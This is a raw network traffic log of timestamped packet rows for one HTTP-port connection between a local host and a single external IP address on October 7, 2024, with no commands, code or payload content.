Oct 7, 2024 03:15:39.562956095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562985897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562988997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563021898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563030005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563055992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563060999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563098907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563098907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563143969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563157082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563203096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563210011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563241005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563250065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563276052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563287020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563313961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563330889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563364983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563374996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563409090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563446999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563482046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563492060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563517094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563528061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563550949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563563108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563585997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563596010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563621044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563632011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563656092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563663006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563704014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563718081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563761950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563771963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563806057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563817024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563841105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563846111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563875914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563884020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563914061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563920021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563947916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563956022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.563982964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.563992023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.564017057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.564028025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.564053059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.564062119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.564102888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618066072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618124962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618136883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618172884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618175983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618211985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618228912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618258953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618264914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618298054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618305922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618330956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618340969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618374109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618379116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618407011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618424892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618452072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618460894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618494034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618495941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618515968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618530035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618552923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618566036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.618586063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.618619919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642254114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642323971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642333031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642390966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642390966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642440081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642446995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642483950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642488003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642527103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642535925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642581940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642594099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642648935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642668009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642699003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642702103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642735958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642749071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642771006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642780066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642803907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642817020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642841101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642851114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642884970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642893076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642927885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.642941952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642971992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.642982960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643018007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643037081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643065929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643074036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643117905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643126011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643160105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643176079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643194914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643205881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643229961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643241882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643271923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643301964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643333912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643348932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643374920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643414974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643461943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643475056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643520117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643534899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643568993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643579960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643614054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643623114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643666983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643676996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643718004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643728971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643763065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643776894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643796921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643809080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643830061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643843889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643866062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643872023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643904924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643908978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643940926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643945932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.643975019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.643982887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644011021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644020081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644045115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644054890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644082069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644088030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644115925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644129038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644160032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644169092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644205093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644212008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644238949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644256115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644273043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644282103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644308090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644315958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644342899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644355059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644377947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644385099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644411087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644421101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644447088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644459963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644479990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644490004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644516945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644522905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644548893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644560099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644584894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644593954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644618988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644630909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644654036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644665956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644689083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644701004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644725084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644731045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644757986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644764900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644793034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644803047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644836903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644890070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644923925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644952059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644957066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.644967079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.644990921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645000935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645024061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645030975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645060062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645072937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645095110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645107031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645137072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645140886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645173073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645181894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645210981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645217896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645245075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645266056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645279884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645283937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645314932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645322084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645349979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645363092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645384073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645397902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645418882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645432949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645457983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645486116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645493984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645508051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645529985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645541906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645566940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.645572901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.645675898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665669918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665766954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665815115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665826082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665841103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665864944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665869951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665900946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665911913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665937901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665946007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.665972948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.665987968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.666008949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.666016102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.666043997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.666052103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.666079998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.666091919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.666117907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.666126013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.666163921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686096907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686145067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686168909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686183929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686192036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686223030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686234951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686259031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686288118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686294079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686300039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686330080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686345100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686367989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.686377048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.686413050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.704922915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.704988003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705018997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705039024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705064058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705064058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705075026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705110073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705120087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705157042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705163956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705200911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705212116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705235004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705270052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705305099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705333948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705334902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705334902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705341101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705374956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705377102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705385923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705411911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705441952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705449104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705485106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705487013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705513954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705523968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705555916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.705559969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.705621004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.707029104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729197025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729275942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729335070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729391098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729409933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729439020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729445934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729481936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729494095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729526997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729538918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729576111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729583979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729629993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729682922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729722977 CEST	80	49737	95.164.90.97	192.168.2.4
